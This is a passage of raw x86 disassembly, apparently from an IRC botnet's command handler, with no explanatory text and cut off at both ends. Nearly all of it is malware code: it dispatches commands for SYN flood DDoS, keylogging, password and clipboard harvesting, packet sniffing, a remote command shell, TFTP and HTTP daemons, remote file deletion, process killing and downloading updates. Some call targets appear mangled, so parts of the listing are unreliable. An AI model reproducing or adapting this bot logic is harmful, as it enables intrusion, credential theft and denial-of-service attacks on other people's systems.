aIrc_id ; "irc.id" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aIrc_i ; "irc.i" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aCom_rebewt ; "com.rebewt" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410277 call sub_40AC20 test eax, eax mov eax, offset dword_432788 jnz short loc_410249 mov eax, offset dword_432754 loc_410249: ; CODE XREF: sub_40EE72+13D0j push eax lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 1Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410277: ; CODE XREF: sub_40EE72+13C2j push edi push offset aThreads_list ; "threads.list" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aThreads_l ; "threads.l" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aIrc_aliases ; "irc.aliases" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_al ; "irc.al" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_log ; "irc.log" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aIrc_lg ; "irc.lg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aUtil_clg ; "util.clg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aCom_netinfo ; "com.netinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aCom_ni ; "com.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410459 mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_76C] push edi push eax call sub_418C10 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_6EC] push eax call sub_418C10 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_568], eax mov eax, [ebp+var_8] push esi mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset unk_432694 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_401831 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410448 loc_410432: ; CODE XREF: sub_40EE72+15D4j cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 2620000h jmp short loc_410432 ; --------------------------------------------------------------------------- loc_410448: ; CODE XREF: sub_40EE72+15BEj nop call near ptr 2650C0Ah push eax push offset unk_432648 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_410459: ; CODE XREF: sub_40EE72+14E6j push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aCom_si ; "com.si" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aCom_procs ; "com.procs" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_ps ; "com.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_harvest ; "com.harvest" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_key ; "com.key" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_uptime ; "com.uptime" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_up ; "com.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_drv ; "com.drv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_testdlls ; "com.testdlls" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_dll ; "com.dll" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd ; "com.ocmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4105D2 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4105D2: ; CODE XREF: sub_40EE72+1746j push edi push offset aIrc_who ; "irc.who" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41065E cmp [ebp+var_8], ebx jnz short loc_410602 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_410602: ; CODE XREF: sub_40EE72+1774j mov edi, [ebp+arg_18] xor esi, esi loc_410607: ; CODE XREF: sub_40EE72+17DBj cmp [edi], bl lea eax, [edi+1] jnz short loc_410613 mov eax, offset aEmpty ; "<Empty>" loc_410613: ; CODE XREF: sub_40EE72+179Aj push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_410607 push offset dword_43251C loc_410654: ; CODE XREF: sub_40EE72+5C58j call sub_40BF6D jmp loc_414F46 ; --------------------------------------------------------------------------- loc_41065E: ; CODE XREF: sub_40EE72+176Fj push edi push offset aCom_getclip ; "com.getclip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aCom_gc ; "com.gc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_farp ; "util.farp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aUtil_fdns ; "util.fdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aRoot_currentip ; "root.currentip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aRoot_cip ; "root.cip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aCom_findpass ; "com.findpass" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aCom_fp ; "com.fp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aAsc ; "asc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 push edi push offset aSa ; "sa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F239 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410CCC push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410C97 push 19h call sub_416FA4 test eax, eax pop ecx jle short loc_410BC1 push offset unk_432250 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_410BC1: ; CODE XREF: sub_40EE72+1D43j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_410C03 mov esi, offset aF_1 ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410C03 mov esi, [ebp+var_8C] loc_410C03: ; CODE XREF: sub_40EE72+1D73j ; sub_40EE72+1D89j push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_432210 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_416D5C add esp, 14h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_402688 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410C86 loc_410C70: ; CODE XREF: sub_40EE72+1E12j cmp [ebp+var_460], ebx jnz loc_410E57 push 32h call near ptr 2620000h nop jmp short loc_410C70 ; --------------------------------------------------------------------------- loc_410C86: ; CODE XREF: sub_40EE72+1DFCj nop call near ptr 2650C0Ah push eax push offset unk_4321C4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: sub_40EE72+1D33j push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 19h call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410CC5 push eax push offset unk_432178 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410CC5: ; CODE XREF: sub_40EE72+1E46j push offset unk_432140 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E81 push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aFile ; "file" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 1Bh call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410D33 push eax push offset unk_4320E0 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410D33: ; CODE XREF: sub_40EE72+1EB4j push offset unk_4320A4 loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj ; sub_40EE72+1E58j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_410E57 ; --------------------------------------------------------------------------- loc_410D4B: ; CODE XREF: sub_40EE72+1E80j ; sub_40EE72+1E91j push 1Bh call sub_416FA4 test eax, eax pop ecx jle short loc_410D5E push offset unk_432074 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410D8D mov [ebp+var_464], 1 jmp short loc_410D96 ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_410D96: ; CODE XREF: sub_40EE72+1F19j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_410DBD mov esi, offset aF_0 ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410DBD mov esi, [ebp+var_8C] loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj ; sub_40EE72+1F43j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_432044 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_416D5C add esp, 14h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4023A7 push ebx push ebx call near ptr 2680B9Ah nop mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410E3C loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j cmp [ebp+var_460], ebx jnz short loc_410E57 push 32h nop call near ptr 2620000h jmp short loc_410E2A ; --------------------------------------------------------------------------- loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j nop call near ptr 2650C0Ah push eax push offset unk_431FF8 loc_410E48: ; CODE XREF: sub_40EE72+1E20j ; sub_40EE72+1E4Ej ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_410E57: ; CODE XREF: sub_40EE72+1E04j ; sub_40EE72+1E34j ... cmp [ebp+var_8], ebx jnz loc_40F822 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_411114 cmp dword_43AE68, ebx jz short loc_410EB2 cmp dword_43AE90, ebx jz short loc_410EB2 push offset dword_431FA8 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_40EE72+202Cj ; sub_40EE72+2034j cmp [ebp+var_C], ebx jz loc_4110DC mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410EDA push eax push [ebp+var_C] call sub_417880 pop ecx mov [ebp+arg_0], eax pop ecx loc_410EDA: ; CODE XREF: sub_40EE72+2058j push edi push offset aStart ; "start" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F26 cmp [ebp+arg_18], ebx jz short loc_410EFA push [ebp+arg_0] push 3 jmp loc_410F84 ; --------------------------------------------------------------------------- loc_410EFA: ; CODE XREF: sub_40EE72+207Cj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D9B3 add esp, 0Ch test eax, eax jz short loc_410F1C push offset dword_431F6C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: sub_40EE72+209Ej push offset dword_431F3C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F26: ; CODE XREF: sub_40EE72+2077j push edi push offset aStop ; "stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F3E push [ebp+arg_0] push 4 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F3E: ; CODE XREF: sub_40EE72+20C3j push edi push offset aPause ; "pause" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F56 push [ebp+arg_0] push 5 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_40EE72+20DBj push edi push offset aContinue ; "continue" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F6E push [ebp+arg_0] push 6 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F6E: ; CODE XREF: sub_40EE72+20F3j push edi push offset aDelete ; "delete" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F90 push [ebp+arg_0] push 1 loc_410F84: ; CODE XREF: sub_40EE72+2083j ; sub_40EE72+20CAj ... call sub_40D719 pop ecx pop ecx jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410F90: ; CODE XREF: sub_40EE72+210Bj push edi push offset aShare ; "share" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410FFB cmp [ebp+arg_18], ebx jz short loc_410FCE cmp [ebp+var_9C4], bl jz short loc_410FC1 push ebx push [ebp+arg_18] push 1 loc_410FB4: ; CODE XREF: sub_40EE72+215Aj call sub_40DAF0 add esp, 0Ch jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_40EE72+213Aj push [ebp+esi+var_88] push [ebp+arg_18] push ebx jmp short loc_410FB4 ; --------------------------------------------------------------------------- loc_410FCE: ; CODE XREF: sub_40EE72+2132j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40DCE6 add esp, 10h test eax, eax jz short loc_410FF1 push offset dword_431EE0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_40EE72+2173j push offset dword_431EB0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FFB: ; CODE XREF: sub_40EE72+212Dj push edi push offset aUser ; "user" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41107E mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_411057 cmp [ebp+var_9C4], bl jz short loc_41102D push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_41102D: ; CODE XREF: sub_40EE72+21A7j push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_411051 push esi push eax push ebx loc_411047: ; CODE XREF: sub_40EE72+21B9j ; sub_40EE72+21E3j call sub_40DE07 add esp, 18h jmp short loc_4110AB ; --------------------------------------------------------------------------- loc_411051: ; CODE XREF: sub_40EE72+21D0j push ebx push eax push 2 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_411057: ; CODE XREF: sub_40EE72+219Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E337 add esp, 10h test eax, eax jz short loc_411077 push offset dword_431E78 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_411077: ; CODE XREF: sub_40EE72+21FCj push offset dword_431E4C jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_41107E: ; CODE XREF: sub_40EE72+2198j push edi push offset aSend ; "send" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4110C9 cmp [ebp+arg_18], ebx jz short loc_4110C2 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40E5EB add esp, 10h loc_4110AB: ; CODE XREF: sub_40EE72+2119j ; sub_40EE72+214Aj ... push eax push offset aS_1 ; "%s" loc_4110B1: ; CODE XREF: sub_40EE72+4852j ; sub_40EE72+4B79j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_4110BD: ; CODE XREF: sub_40EE72+5703j add esp, 0Ch jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110C2: ; CODE XREF: sub_40EE72+2220j push offset dword_431E1C jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40EE72+221Bj push offset dword_431DF0 loc_4110CE: ; CODE XREF: sub_40EE72+203Bj ; sub_40EE72+20A5j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4110DC: ; CODE XREF: sub_40EE72+2043j ; sub_40EE72+224Ej ... cmp [ebp+var_8], ebx jnz short loc_4110FD push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4110FD: ; CODE XREF: sub_40EE72+226Dj ; sub_40EE72+4847j ... mov esi, [ebp+arg_24] loc_411100: ; CODE XREF: sub_40EE72+9B3j ; sub_40EE72+4B35j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx mov eax, esi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_411114: ; CODE XREF: sub_40EE72+2020j push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40F239 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4176D0 pop ecx test eax, 